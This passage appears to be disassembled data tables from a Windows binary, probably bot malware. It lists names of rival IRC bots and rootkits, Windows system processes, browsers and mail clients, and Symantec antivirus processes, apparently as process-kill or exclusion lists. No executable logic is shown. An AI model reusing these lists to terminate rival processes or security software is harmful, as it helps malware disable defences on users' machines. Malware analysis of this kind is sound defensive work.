"MSANTISPY.EXE" dd offset aAntispy_exe ; "ANTISPY.EXE" dd offset aWinmrt_exe ; "WINMRT.EXE" dd offset aWinmrt32_exe ; "WINMRT32.EXE" dd offset aRcc_exe ; "RCC.EXE" dd offset aIroffer_exe ; "IROFFER.EXE" dd offset aIrbot_exe ; "IRBOT.EXE" dd offset aOffer_exe ; "OFFER.EXE" dd offset aIrxdcc_exe ; "IRXDCC.EXE" dd offset aSdbot_exe ; "SDBOT.EXE" dd offset aSd_exe ; "SD.EXE" dd offset aSdbot05b_exe ; "SDBOT05B.EXE" dd offset aSdbot05c_exe ; "SDBOT05C.EXE" dd offset aT_bat ; "T.BAT" dd offset aHax_exe ; "HAX.EXE" dd offset aMsn_exe ; "MSN.EXE" dd offset a101_exe ; "101.EXE" dd offset aClass101_exe ; "CLASS101.EXE" dd offset aSocks_exe ; "SOCKS.EXE" dd offset aSox_exe ; "SOX.EXE" dd offset aSockets_exe ; "SOCKETS.EXE" dd offset aS0cks_exe ; "S0CKS.EXE" dd offset aMsserv_exe ; "MSSERV.EXE" dd offset aConvertxdccfil ; "CONVERTXDCCFILE.EXE" dd offset aWinreg32_exe ; "WINREG32.EXE" dd offset aWinnet_exe ; "WINNET.EXE" dd offset aXftp_exe ; "XFTP.EXE" dd offset aWebx_exe ; "WEBX.EXE" dd offset aWebdownloader_ ; "WEBDOWNLOADER.EXE" dd offset aSyst3m33r_exe ; "SYST3M33R.EXE" dd offset aAgobot_exe ; "AGOBOT.EXE" dd offset aAgobot3_exe ; "AGOBOT3.EXE" dd offset aPhatbot_exe ; "PHATBOT.EXE" dd offset aA_exe ; "A.EXE" dd offset aAgo_exe ; "AGO.EXE" dd offset aAg_exe ; "AG.EXE" dd offset aAg32_exe ; "AG32.EXE" dd offset aPb_exe ; "PB.EXE" dd offset aWonk_exe ; "WONK.EXE" dd offset aAgobotsvc_exe ; "AGOBOTSVC.EXE" dd offset aForbot_exe ; "FORBOT.EXE" dd offset aUrxbot_exe ; "URXBOT.EXE" dd offset aAsn_exe ; "ASN.EXE" dd offset aPnp_exe ; "PNP.EXE" dd offset aUrx_exe ; "URX.EXE" dd offset aDowner_exe ; "DOWNER.EXE" dd offset aWebex_exe ; "WEBEX.EXE" dd offset aLoader32_exe ; "LOADER32.EXE" dd offset aRunbatch_exe ; "RUNBATCH.EXE" dd offset aGsec_exe ; "GSEC.EXE" dd offset aWindll_exe ; "WINDLL.EXE" dd offset aDllhst_exe ; "DLLHST.EXE" dd offset aWinhelp_exe_0 ; "WINHELP.EXE" dd offset aExe_exe ; "EXE.EXE" dd offset aExe32_exe ; "EXE32.EXE" dd offset aUpdates_exe ; "UPDATES.EXE" dd offset aT00lkit_exe ; "T00LKIT.EXE" dd offset aRootkit_exe ; "ROOTKIT.EXE" dd offset aRk_exe ; "RK.EXE" dd offset aR00tkit_exe ; "R00TKIT.EXE" dd offset aUtils32_exe ; "UTILS32.EXE" dd offset aUniversal_exe ; "UNIVERSAL.EXE" dd offset aDcomd_exe ; "DCOMD.EXE" dd offset aDcz_exe ; "DCZ.EXE" dd offset aDc_exe ; "DC.EXE" dd offset aAkbot_exe ; "AKBOT.EXE" dd offset aSxot_exe ; "SXOT.EXE" dd offset aMssql32_exe ; "MSSQL32.EXE" dd offset aSsql_exe ; "SSQL.EXE" dd offset aWinsocket_exe ; "WINSOCKET.EXE" dd offset aWinupdaterar_e ; "WINUPDATERAR.EXE" dd offset aWmism23_exe ; "WMISM23.EXE" dd offset aSysmgr64_exe ; "SYSMGR64.EXE" dd offset aWebmsn_exe ; "WEBMSN.EXE" dd offset aWanmpsvc_exe ; "WANMPSVC.EXE" dd offset aEbay_exe ; "EBAY.EXE" dd offset aWinsnte_exe ; "WINSNTE.EXE" dd offset aWinpkr_exe ; "WINPKR.EXE" dd offset aMswdns32_exe ; "MSWDNS32.EXE" dd offset aBulk_exe ; "BULK.EXE" dd offset aBlkl_exe ; "BLKL.EXE" dd offset aIs67538_exe ; "IS67538.EXE" dd offset aVideoati0_exe ; "VIDEOATI0.EXE" dd offset aSpooisv_exe ; "SPOOISV.EXE" dd offset aWiniogon_exe ; "WINIOGON.EXE" dd offset aIsass_exe ; "ISASS.EXE" dd offset aWinuppd_exe ; "WINUPPD.EXE" dd offset aWinclean_exe ; "WINCLEAN.EXE" dd offset aDisk10_exe ; "DISK10.EXE" dd offset aW32sim_exe ; "W32SIM.EXE" dd offset aWishs_exewsemg ; "WISHS.EXEWSEMGR.EXE" dd offset aWnetwork_exe ; "WNETWORK.EXE" dd offset aOwnt_exe ; "OWNT.EXE" dd offset aUay_exe ; "UAY.EXE" dd offset aHookiat_exe ; "HOOKIAT.EXE" dd offset aJoined_exe ; "JOINED.EXE" dd offset aRserver_exe ; "RSERVER.EXE" dd offset aHtran_v1_exe ; "HTRAN_V1.EXE" dd offset aBlkl_exe ; "BLKL.EXE" dd offset aBox_exe ; "BOX.EXE" dd offset aLam_exe ; "LAM.EXE" dd offset aAbo_exe ; "ABO.EXE" dd offset aLoadadv735_exe ; "LOADADV735.EXE" dd offset aM_exe ; "M.EXE" dd offset aNope_exe ; "NOPE.EXE" dd offset aGt_exe ; "GT.EXE" dd offset aNxm_exe ; "NXM.EXE" dd offset aDual_exe ; "DUAL.EXE" dd offset a5h7h8v6b1c5_ex ; "5H7H8V6B1C5.EXE" dd offset aTamer_bat_exe ; "TAMER.BAT.EXE" dd offset aOf_exe ; "OF.EXE" dd offset aO1o2o3o4_exe ; "O1O2O3O4.EXE" dd offset aOurnik_exe ; "OURNIK.EXE" dd offset aPs2m_exe ; "PS2M.EXE" dd offset aSecuraq_exe ; "SECURAQ.EXE" dd offset aScans_exe ; "SCANS.EXE" dd offset aTest_exe ; "TEST.EXE" dd offset aKa6ber_exe ; "KA6BER.EXE" dd offset aV1rg1n_exe_0 ; "V1Rg1N.EXE" dd offset aU_exe ; "U.EXE" dd offset aV1rgf_exe ; "V1RGF.EXE" dd offset aJssa_exe ; "JSSA.EXE" dd offset aAdv693_exe ; "ADV693.EXE" dd offset aXgun_exe ; "XGUN.EXE" dd offset aRopnc_exe ; "ROPNC.EXE" dd offset aV1rg1n_exe ; "V1RG1N.EXE" dd offset aIrb_exe ; "IRB.EXE" dd offset aRspool_exe ; "RSPOOL.EXE" dd offset aDmi_exe ; "DMI.EXE" dd offset aWqrtuhx_exe ; "WQRTUHX.EXE" dd offset aWinpga_exe ; "WINPGA.EXE" dd offset aHz_exe ; "HZ.EXE" dd offset aWolff_exe ; "WOLFF.EXE" dd offset aA_exe ; "A.EXE" dd offset aGg_exe ; "GG.EXE" dd offset aWebxgrab_exe ; "WEBXGRAB.EXE" dd offset aLogdec_exe ; "LOGDEC.EXE" dd offset aLogoner_exe ; "LOGONER.EXE" dd offset aRun_bot_bat_ex ; "RUN_BOT.BAT.EXE" dd offset aRootkit2_exe ; "ROOTKIT2.EXE" dd offset aMsnet_bat ; "MSNET.BAT" dd offset aWsg32_exe ; "WSG32.EXE" dd offset aDog_bat ; "DOG.BAT" dd offset aInssvc_exe ; "INSSVC.EXE" dd offset aConvertxdccfil ; "CONVERTXDCCFILE.EXE" dd offset aNsecurity_exe ; "NSECURITY.EXE" dd offset aDup_exe ; "DUP.EXE" dd offset aHxdofena_exe ; "HXDOFENA.EXE" dd offset aWindows12_exe ; "WINDOWS12.EXE" dd offset aMssmpp_exe ; "MSSMPP.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aSvchostc_exe ; "SVCHOSTC.EXE" dd offset aSvchosts_exe ; "SVCHOSTS.EXE" dd offset aSvshost_exe ; "SVSHOST.EXE" dd offset aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aSysupd_exe ; "SYSUPD.EXE" align 8 off_448918 dd offset dword_4439A8 ; DATA XREF: sub_41F0F5+142r dd offset aAsr__exe ; "asr_*.exe" dd offset aWmsoft_exe ; "wmsoft*.exe" dd offset aNview_exe ; "nview.exe" dd offset aSview_exe ; "sview.exe" dd offset aNvuninst_exe ; "NVUNINST.EXE" dd offset aNvsvc32_exe ; "nvsvc32.exe" dd offset aNvudisp_exe ; "nvudisp.exe" dd offset aNvappbar_exe ; "nvappbar.exe" dd offset aNvcolor_exe ; "nvcolor.exe" dd offset aNvdspsch_exe ; "nvdspsch.exe" dd offset aNvcplui_exe ; "nvcplui.exe" dd offset aNwiz_exe ; "nwiz.exe" dd offset aKeystone_exe ; "keystone.exe" dd offset aHdashcut_exe ; "HDAShCut.exe" dd offset aAccwiz_exe ; "accwiz.exe" dd offset aActmovie_exe ; "actmovie.exe" dd offset aAhui_exe ; "ahui.exe" dd offset aAlg_exe ; "alg.exe" dd offset aAppend_exe ; "append.exe" dd offset aArp_exe ; "arp.exe" dd offset aAsr_fmt_exe ; "asr_fmt.exe" dd offset aAsr_ldm_exe ; "asr_ldm.exe" dd offset aAsr_pfu_exe ; "asr_pfu.exe" dd offset aAt_exe ; "at.exe" dd offset aAti2evxx_exe ; "ati2evxx.exe" dd offset aAti2mdxx_exe ; "Ati2mdxx.exe" dd offset aAtmadm_exe ; "atmadm.exe" dd offset aAttrib_exe ; "attrib.exe" dd offset aAuditusr_exe ; "auditusr.exe" dd offset aAutochk_exe ; "autochk.exe" dd offset aAutoconv_exe ; "autoconv.exe" dd offset aAutofmt_exe ; "autofmt.exe" dd offset aAutolfn_exe ; "autolfn.exe" dd offset aBlastcln_exe ; "blastcln.exe" dd offset aBootcfg_exe ; "bootcfg.exe" dd offset aBootok_exe ; "bootok.exe" dd offset aBootvrfy_exe ; "bootvrfy.exe" dd offset aCacls_exe ; "cacls.exe" dd offset aCalc_exe ; "calc.exe" dd offset aCharmap_exe ; "charmap.exe" dd offset aChcfg_exe ; "ChCfg.exe" dd offset aChkdsk_exe ; "chkdsk.exe" dd offset aChkntfs_exe ; "chkntfs.exe" dd offset aCidaemon_exe ; "cidaemon.exe" dd offset aCipher_exe ; "cipher.exe" dd offset aCisvc_exe ; "cisvc.exe" dd offset aCkcnv_exe ; "ckcnv.exe" dd offset aCleanmgr_exe ; "cleanmgr.exe" dd offset aCliconfg_exe ; "cliconfg.exe" dd offset aClipbrd_exe ; "clipbrd.exe" dd offset aClipsrv_exe ; "clipsrv.exe" dd offset aClspack_exe ; "clspack.exe" dd offset aCmd_exe ; "cmd.exe" dd offset aCmdl32_exe ; "cmdl32.exe" dd offset aCmmon32_exe ; "cmmon32.exe" dd offset aCmstp_exe ; "cmstp.exe" dd offset aComp_exe ; "comp.exe" dd offset aCompact_exe ; "compact.exe" dd offset aConime_exe ; "conime.exe" dd offset aControl_exe ; "control.exe" dd offset aConvert_exe ; "convert.exe" dd offset aCscript_exe ; "cscript.exe" dd offset aCsrss_exe ; "csrss.exe" dd offset aCtfmon_exe ; "ctfmon.exe" dd offset aDcomcnfg_exe ; "dcomcnfg.exe" dd offset aDdeshare_exe ; "ddeshare.exe" dd offset aDebug_exe ; "debug.exe" dd offset aDefrag_exe ; "defrag.exe" dd offset aDfrgfat_exe ; "dfrgfat.exe" dd offset aDfrgntfs_exe ; "dfrgntfs.exe" dd offset aDiantz_exe ; "diantz.exe" dd offset aDiskpart_exe ; "diskpart.exe" dd offset aDiskperf_exe ; "diskperf.exe" dd offset aDllhost_exe ; "dllhost.exe" dd offset aDllhst3g_exe ; "dllhst3g.exe" dd offset aDmadmin_exe ; "dmadmin.exe" dd offset aDmremote_exe ; "dmremote.exe" dd offset aDoskey_exe ; "doskey.exe" dd offset aDosx_exe ; "dosx.exe" dd offset aDplaysvr_exe ; "dplaysvr.exe" dd offset aDpnsvr_exe ; "dpnsvr.exe" dd offset aDpvsetup_exe ; "dpvsetup.exe" dd offset aDriverquery_ex ; "driverquery.exe" dd offset aDrwatson_exe ; "drwatson.exe" dd offset aDrwtsn32_exe ; "drwtsn32.exe" dd offset aDumprep_exe ; "dumprep.exe" dd offset aDvdplay_exe ; "dvdplay.exe" dd offset aDvdupgrd_exe ; "dvdupgrd.exe" dd offset aDwwin_exe ; "dwwin.exe" dd offset aDxdiag_exe ; "dxdiag.exe" dd offset aEdlin_exe ; "edlin.exe" dd offset aEsentutl_exe ; "esentutl.exe" dd offset aEudcedit_exe ; "eudcedit.exe" dd offset aEventcreate_ex ; "eventcreate.exe" dd offset aEventtriggers_ ; "eventtriggers.exe" dd offset aEventvwr_exe ; "eventvwr.exe" dd offset aExe2bin_exe ; "exe2bin.exe" dd offset aExpand_exe ; "expand.exe" dd offset aExtrac32_exe ; "extrac32.exe" dd offset aFastopen_exe ; "fastopen.exe" dd offset aFc_exe ; "fc.exe" dd offset aFind_exe ; "find.exe" dd offset aFindstr_exe ; "findstr.exe" dd offset aFinger_exe ; "finger.exe" dd offset aFixmapi_exe ; "fixmapi.exe" dd offset aFltmc_exe ; "fltMc.exe" dd offset aFontview_exe ; "fontview.exe" dd offset aForcedos_exe ; "forcedos.exe" dd offset aFreecell_exe ; "freecell.exe" dd offset aFsquirt_exe ; "fsquirt.exe" dd offset aFsutil_exe ; "fsutil.exe" dd offset aFtp_exe ; "ftp.exe" dd offset aGb2312_uce ; "gb2312.uce" dd offset aGdi_exe ; "gdi.exe" dd offset aGetmac_exe ; "getmac.exe" dd offset aGpresult_exe ; "gpresult.exe" dd offset aGpupdate_exe ; "gpupdate.exe" dd offset aGrpconv_exe ; "grpconv.exe" dd offset aHelp_exe ; "help.exe" dd offset aHostname_exe ; "hostname.exe" dd offset aIe4uinit_exe ; "ie4uinit.exe" dd offset aIexpress_exe ; "iexpress.exe" dd offset aImapi_exe ; "imapi.exe" dd offset aIpconfig_exe ; "ipconfig.exe" dd offset aIpsec6_exe ; "ipsec6.exe" dd offset aIpv6_exe ; "ipv6.exe" dd offset aIpxroute_exe ; "ipxroute.exe" dd offset aJava_exe ; "java.exe" dd offset aJavaw_exe ; "javaw.exe" dd offset aJavaws_exe ; "javaws.exe" dd offset aJdbgmgr_exe ; "jdbgmgr.exe" dd offset aJview_exe ; "jview.exe" dd offset aKrnl386_exe ; "krnl386.exe" dd offset aLabel_exe ; "label.exe" dd offset aLights_exe ; "lights.exe" dd offset aLnkstub_exe ; "lnkstub.exe" dd offset aLocator_exe ; "locator.exe" dd offset aLodctr_exe ; "lodctr.exe" dd offset aLogagent_exe ; "logagent.exe" dd offset aLogman_exe ; "logman.exe" dd offset aLogoff_exe ; "logoff.exe" dd offset aLogonui_exe ; "logonui.exe" dd offset aLpq_exe ; "lpq.exe" dd offset aLpr_exe ; "lpr.exe" dd offset aLsass_exe ; "lsass.exe" dd offset aMagnify_exe ; "magnify.exe" dd offset aMakecab_exe ; "makecab.exe" dd offset aMem_exe ; "mem.exe" dd offset aMigpwd_exe ; "migpwd.exe" dd offset aMmc_exe ; "mmc.exe" dd offset aMnmsrvc_exe ; "mnmsrvc.exe" dd offset aMobsync_exe ; "mobsync.exe" dd offset aMountvol_exe ; "mountvol.exe" dd offset aMplay32_exe ; "mplay32.exe" dd offset aMpnotify_exe ; "mpnotify.exe" dd offset aMqbkup_exe ; "mqbkup.exe" dd offset aMqsvc_exe ; "mqsvc.exe" dd offset aMqtgsvc_exe ; "mqtgsvc.exe" dd offset aMrinfo_exe ; "mrinfo.exe" dd offset aMrt_exe ; "MRT.exe" dd offset aMscdexnt_exe ; "mscdexnt.exe" dd offset aMsdtc_exe ; "msdtc.exe" dd offset aMsg_exe ; "msg.exe" dd offset aMshearts_exe ; "mshearts.exe" dd offset aMshta_exe ; "mshta.exe" dd offset aMsiexec_exe ; "msiexec.exe" dd offset aMspaint_exe ; "mspaint.exe" dd offset aMsswchx_exe ; "msswchx.exe" dd offset aMstinit_exe ; "mstinit.exe" dd offset aMstsc_exe ; "mstsc.exe" dd offset aNarrator_exe ; "narrator.exe" dd offset aNbtstat_exe ; "nbtstat.exe" dd offset aNddeapir_exe ; "nddeapir.exe" dd offset aNerocheck_exe ; "NeroCheck.exe" dd offset aNet_exe ; "net.exe" dd offset aNet1_exe ; "net1.exe" dd offset aNetdde_exe ; "netdde.exe" dd offset aNetsetup_exe ; "netsetup.exe" dd offset aNetsh_exe ; "netsh.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aNlsfunc_exe ; "nlsfunc.exe" dd offset aNotepad_exe_0 ; "notepad.exe" dd offset aNslookup_exe ; "nslookup.exe" dd offset aNtbackup_exe ; "ntbackup.exe" dd offset aNtkrnlpa_exe ; "ntkrnlpa.exe" dd offset aNtoskrnl_exe ; "ntoskrnl.exe" dd offset aNtsd_exe ; "ntsd.exe" dd offset aNtvdm_exe ; "ntvdm.exe" dd offset aNw16_exe ; "nw16.exe" dd offset aNwscript_exe ; "nwscript.exe" dd offset aOdbcad32_exe ; "odbcad32.exe" dd offset aOdbcconf_exe ; "odbcconf.exe" dd offset aOpenfiles_exe ; "openfiles.exe" dd offset aOsk_exe ; "osk.exe" dd offset aOsuninst_exe ; "osuninst.exe" dd offset aPackager_exe ; "packager.exe" dd offset aPathping_exe ; "pathping.exe" dd offset aPentnt_exe ; "pentnt.exe" dd offset aPerfmon_exe ; "perfmon.exe" dd offset aPing_exe ; "ping.exe" dd offset aPing6_exe ; "ping6.exe" dd offset aPowercfg_exe ; "powercfg.exe" dd offset aPrint_exe ; "print.exe" dd offset aProgman_exe ; "progman.exe" dd offset aProquota_exe ; "proquota.exe" dd offset aProxycfg_exe ; "proxycfg.exe" dd offset aQappsrv_exe ; "qappsrv.exe" dd offset aQprocess_exe ; "qprocess.exe" dd offset aQwinsta_exe ; "qwinsta.exe" dd offset aRasautou_exe ; "rasautou.exe" dd offset aRasdial_exe ; "rasdial.exe" dd offset aRasphone_exe ; "rasphone.exe" dd offset aRcimlby_exe ; "rcimlby.exe" dd offset aRcp_exe ; "rcp.exe" dd offset aRdpclip_exe ; "rdpclip.exe" dd offset aRdsaddin_exe ; "rdsaddin.exe" dd offset aRdshost_exe ; "rdshost.exe" dd offset aRecover_exe ; "recover.exe" dd offset aRedir_exe ; "redir.exe" dd offset aReg_exe ; "reg.exe" dd offset aRegcladm_exe ; "REGCLADM.EXE" dd offset aRegedt32_exe ; "regedt32.exe" dd offset aRegini_exe ; "regini.exe" dd offset aRegsvr32_exe ; "regsvr32.exe" dd offset aRegwiz_exe ; "regwiz.exe" dd offset aRelog_exe ; "relog.exe" dd offset aReplace_exe ; "replace.exe" dd offset aReset_exe ; "reset.exe" dd offset aRexec_exe ; "rexec.exe" dd offset aRoute_exe ; "route.exe" dd offset aRoutemon_exe ; "routemon.exe" dd offset aRsh_exe ; "rsh.exe" dd offset aRsm_exe ; "rsm.exe" dd offset aRsmsink_exe ; "rsmsink.exe" dd offset aRsmui_exe ; "rsmui.exe" dd offset aRsnotify_exe ; "rsnotify.exe" dd offset aRsopprov_exe ; "rsopprov.exe" dd offset aRsvp_exe ; "rsvp.exe" dd offset aRtcshare_exe ; "rtcshare.exe" dd offset aRtlcpl_exe ; "RTLCPL.EXE" dd offset aRunas_exe ; "runas.exe" dd offset aRundll32_exe ; "rundll32.exe" dd offset aRunonce_exe ; "runonce.exe" dd offset aRwinsta_exe ; "rwinsta.exe" dd offset aSavedump_exe ; "savedump.exe" dd offset aSc_exe ; "sc.exe" dd offset aScardsvr_exe ; "scardsvr.exe" dd offset aSchtasks_exe ; "schtasks.exe" dd offset aSdbinst_exe ; "sdbinst.exe" dd offset aSecedit_exe ; "secedit.exe" dd offset aServices_exe ; "services.exe" dd offset aSessmgr_exe ; "sessmgr.exe" dd offset aSethc_exe ; "sethc.exe" dd offset aSetup_exe ; "setup.exe" dd offset aSetver_exe ; "setver.exe" dd offset aSfc_exe ; "sfc.exe" dd offset aShadow_exe ; "shadow.exe" dd offset aShare_exe ; "share.exe" dd offset aShmgrate_exe ; "shmgrate.exe" dd offset aShrpubw_exe ; "shrpubw.exe" dd offset aShutdown_exe ; "shutdown.exe" dd offset aSigverif_exe ; "sigverif.exe" dd offset aSkeys_exe ; "skeys.exe" dd offset aSmbinst_exe ; "smbinst.exe" dd offset aSmlogsvc_exe ; "smlogsvc.exe" dd offset aSmss_exe ; "smss.exe" dd offset aSndrec32_exe ; "sndrec32.exe" dd offset aSndvol32_exe ; "sndvol32.exe" dd offset aSol_exe ; "sol.exe" dd offset aSort_exe ; "sort.exe" dd offset aSpider_exe ; "spider.exe" dd offset aSpiisupd_exe ; "spiisupd.exe" dd offset aSpnpinst_exe ; "spnpinst.exe" dd offset aSpoolsv_exe ; "spoolsv.exe" dd offset aSprestrt_exe ; "sprestrt.exe" dd offset aSpupdsvc_exe ; "spupdsvc.exe" dd offset aStimon_exe ; "stimon.exe" dd offset aSubrange_uce ; "subrange.uce" dd offset aSubst_exe ; "subst.exe" dd offset aSvchost_exe ; "svchost.exe" dd offset aSyncapp_exe ; "syncapp.exe" dd offset aSysedit_exe ; "sysedit.exe" dd offset aSyskey_exe ; "syskey.exe" dd offset aSysocmgr_exe ; "sysocmgr.exe" dd offset aSysteminfo_exe ; "systeminfo.exe" dd offset aSystray_exe ; "systray.exe" dd offset aTaskkill_exe ; "taskkill.exe" dd offset aTasklist_exe ; "tasklist.exe" dd offset aTaskman_exe_0 ; "taskman.exe" dd offset aTaskmgr_exe ; "taskmgr.exe" dd offset aTcmsetup_exe ; "tcmsetup.exe" dd offset aTcpsvcs_exe ; "tcpsvcs.exe" dd offset aTelnet_exe ; "telnet.exe" dd offset aTftp_exe ; "tftp.exe" dd offset aTlntadmn_exe ; "tlntadmn.exe" dd offset aTlntsess_exe ; "tlntsess.exe" dd offset aTlntsvr_exe ; "tlntsvr.exe" dd offset aTourstart_exe ; "tourstart.exe" dd offset aTracerpt_exe ; "tracerpt.exe" dd offset aTracert_exe ; "tracert.exe" dd offset aTracert6_exe ; "tracert6.exe" dd offset aTscon_exe ; "tscon.exe" dd offset aTscupgrd_exe ; "tscupgrd.exe" dd offset aTsdiscon_exe ; "tsdiscon.exe" dd offset aTskill_exe ; "tskill.exe" dd offset aTsshutdn_exe ; "tsshutdn.exe" dd offset aTwunk_16_exe ; "twunk_16.exe" dd offset aTwunk_32_exe ; "twunk_32.exe" dd offset aTypeperf_exe ; "typeperf.exe" dd offset aUnlodctr_exe ; "unlodctr.exe" dd offset aUpnpcont_exe ; "upnpcont.exe" dd offset aUps_exe ; "ups.exe" dd offset aUser_exe ; "user.exe" dd offset aUserinit_exe ; "userinit.exe" dd offset aUsrmlnka_exe ; "usrmlnka.exe" dd offset aUsrprbda_exe ; "usrprbda.exe" dd offset aUsrshuta_exe ; "usrshuta.exe" dd offset aUtilman_exe ; "utilman.exe" dd offset aVerclsid_exe ; "verclsid.exe" dd offset aVerifier_exe ; "verifier.exe" dd offset aViral_exe ; "viral.exe" dd offset aVssadmin_exe ; "vssadmin.exe" dd offset aVssvc_exe ; "vssvc.exe" dd offset aVwipxspx_exe ; "vwipxspx.exe" dd offset aW32tm_exe ; "w32tm.exe" dd offset aWextract_exe ; "wextract.exe" dd offset aWiaacmgr_exe ; "wiaacmgr.exe" dd offset aWinchat_exe ; "winchat.exe" dd offset aWindbver_exe ; "WINDBVER.EXE" dd offset aWinhlp32_exe ; "winhlp32.exe" dd offset aWinmine_exe ; "winmine.exe" dd offset aWinmsd_exe ; "winmsd.exe" dd offset aWinspool_exe ; "winspool.exe" dd offset aWinver_exe ; "winver.exe" dd offset aWjview_exe ; "wjview.exe" dd offset aWowdeb_exe ; "wowdeb.exe" dd offset aWowexec_exe ; "wowexec.exe" dd offset aWpabaln_exe ; "wpabaln.exe" dd offset aWpnpinst_exe ; "wpnpinst.exe" dd offset aWrite_exe ; "write.exe" dd offset aWscntfy_exe ; "wscntfy.exe" dd offset aWscript_exe ; "wscript.exe" dd offset aWuauclt_exe ; "wuauclt.exe" dd offset aWuauclt1_exe ; "wuauclt1.exe" dd offset aWupdmgr_exe ; "wupdmgr.exe" dd offset aXcopy_exe ; "xcopy.exe" dd offset aAcdsee_scr ; "ACDSee.scr" dd offset aLogon_scr ; "logon.scr" dd offset aScrnsave_scr ; "scrnsave.scr" dd offset aSeismosaver_sc ; "SeismoSaver.scr" dd offset aSs3dfo_scr ; "ss3dfo.scr" dd offset aSsbezier_scr ; "ssbezier.scr" dd offset aSsflwbox_scr ; "ssflwbox.scr" dd offset aSsmarque_scr ; "ssmarque.scr" dd offset aSsmypics_scr ; "ssmypics.scr" dd offset aSsmyst_scr ; "ssmyst.scr" dd offset aSspipes_scr ; "sspipes.scr" dd offset aSsstars_scr ; "ssstars.scr" dd offset aSstext3d_scr ; "sstext3d.scr" dd offset aSystem_1 ; "System" dd offset aDevldr32_exe ; "devldr32.exe" dd offset aInternat_exe ; "internat.exe" dd offset aAti2evxx_exe ; "ati2evxx.exe" dd offset aWudfhost_exe ; "WUDFHost.exe" dd offset aPenservice_exe ; "penservice.exe" dd offset aWmiexe_exe ; "wmiexe.exe" dd offset aWinmgmt_exe ; "winmgmt.exe" dd offset aWercon_exe ; "wercon.exe" dd offset aTaskeng_exe ; "taskeng.exe" dd offset aHkcmd_exe ; "hkcmd.exe" dd offset aHotkey_exe ; "hotkey.exe" dd offset aJusched_exe ; "jusched.exe" dd offset aPoint32_exe ; "point32.exe" dd offset aQttask_exe ; "qttask.exe" dd offset aWisptis_exe ; "wisptis.exe" dd offset aCrypserv_exe ; "crypserv.exe" dd offset aInetinfo_exe ; "inetinfo.exe" dd offset aIgfxpers_exe ; "igfxpers.exe" dd offset aIgfxtray_exe ; "igfxtray.exe" dd offset aPctspk_exe ; "pctspk.exe" dd offset aMstask_exe ; "mstask.exe" dd offset aSmagent_exe ; "smagent.exe" dd offset aNmssvc_exe ; "nmssvc.exe" dd offset aHpsysdrv_exe ; "hpsysdrv.exe" dd offset aHpcmpmgr_exe ; "hpcmpmgr.exe" dd offset aNhksrv_exe ; "nhksrv.exe" dd offset aHpzipm12_exe ; "HPZipm12.exe" dd offset aCli_exe ; "cli.exe" dd offset aTphkmgr_exe ; "TPHKMGR.exe" dd offset aSmax4pnp_exe ; "smax4pnp.exe" dd offset aLoadqm_exe ; "loadqm.exe" dd offset aLexbces_exe ; "lexbces.exe" dd offset aDwm_exe ; "dwm.exe" dd offset aLsm_exe ; "lsm.exe" dd offset aMdm_exe ; "mdm.exe" dd offset aMssearch_exe ; "mssearch.exe" dd offset aRegsvc_exe ; "regsvc.exe" dd offset aSdclt_exe ; "sdclt.exe" dd offset aSlsvc_exe ; "slsvc.exe" dd offset aHidserv_exe ; "hidserv.exe" dd offset aUninstall__exe ; "uninstall_.exe" dd offset aTrkwkss_exe ; "trkwkss.exe" dd offset aWuaucpl_exe ; "wuaucpl.exe" dd offset aTrkwksvc_exe ; "trkwksvc.exe" dd offset aWmssvc_exe ; "wmssvc.exe" dd offset aWmsncs_exe ; "wmsncs.exe" dd offset aWiadss_exe ; "wiadss.exe" dd offset aWmsnchrs_exe ; "wmsnchrs.exe" dd offset aWrvmchars_exe ; "wrvmchars.exe" off_448F80 dd offset dword_4439A8 ; DATA XREF: sub_41F0F5:loc_41F274r dd offset aAsr__exe ; "asr_*.exe" dd offset aWmsoft_exe ; "wmsoft*.exe" dd offset aAlcmtr_exe ; "ALCMTR.EXE" dd offset aAlcwzrd_exe ; "ALCWZRD.EXE" dd offset aHdashcut_exe ; "HDAShCut.exe" dd offset aRthdcpl_exe ; "RTHDCPL.EXE" dd offset aRtlcpl_exe ; "RTLCPL.EXE" dd offset aMiccal_exe ; "MicCal.exe" dd offset aRtlupd_exe ; "RtlUpd.exe" dd offset aAlcrmv_exe ; "alcrmv.exe" dd offset aAlcupd_exe ; "alcupd.exe" dd offset aExplorer_exe_0 ; "explorer.exe" dd offset aHh_exe ; "hh.exe" dd offset aIsuninst_exe ; "IsUninst.exe" dd offset aIun6002_exe ; "iun6002.exe" dd offset aNotepad_exe ; "NOTEPAD.EXE" dd offset aRegedit_exe ; "regedit.exe" dd offset aRegtlib_exe ; "REGTLIB.EXE" dd offset aSetdebug_exe ; "setdebug.exe" dd offset aSetup1_exe ; "Setup1.exe" dd offset aSoundman_exe ; "SOUNDMAN.EXE" dd offset aSt6unst_exe ; "ST6UNST.EXE" dd offset aTaskman_exe ; "TASKMAN.EXE" dd offset aTwunk_16_exe ; "twunk_16.exe" dd offset aTwunk_32_exe ; "twunk_32.exe" dd offset aWinhelp_exe ; "winhelp.exe" dd offset aWinhlp32_exe ; "winhlp32.exe" dd offset aSystem_1 ; "System" dd offset aHtpatch_exe ; "htpatch.exe" dd offset aPoint32_exe ; "point32.exe" dd offset aSmagent_exe ; "smagent.exe" dd offset aSmax4pnp_exe ; "smax4pnp.exe" dd offset aSound_exe ; "*sound*.exe" off_449008 dd offset dword_4439A8 ; DATA XREF: sub_41F0F5:loc_41F2B1r dd offset aAsr__exe ; "asr_*.exe" dd offset aWmsoft_exe ; "wmsoft*.exe" dd offset aWmpcodecs_exe ; "wmpcodecs.exe" dd offset aMsxml32_exe ; "msxml32.exe" dd offset aMswupd_exe ; "mswupd.exe" dd offset aMsnmsgr_exe ; "msnmsgr.exe" dd offset aWmiprvse_exe ; "wmiprvse.exe" dd offset aMsmsgs_exe ; "msmsgs.exe" dd offset aMirc_exe ; "mirc.exe" dd offset aXchat_exe ; "xchat.exe" dd offset aFirefox_exe ; "firefox.exe" dd offset aThunderbird_ex ; "thunderbird.exe" dd offset aIexplore_exe ; "iexplore.exe" dd offset aMsimn_exe ; "msimn.exe" dd offset aMsoe_exe ; "msoe.exe" dd offset aDefwatch_exe ; "defwatch.exe" dd offset aRtvscan_exe ; "rtvscan.exe" dd offset aCcapp_exe ; "ccapp.exe" dd offset aAim_exe ; "aim.exe" dd offset aCcevtmgr_exe ; "ccevtmgr.exe" dd offset aCcsetmgr_exe ; "ccsetmgr.exe" dd offset aIexplore_exe ; "iexplore.exe" dd 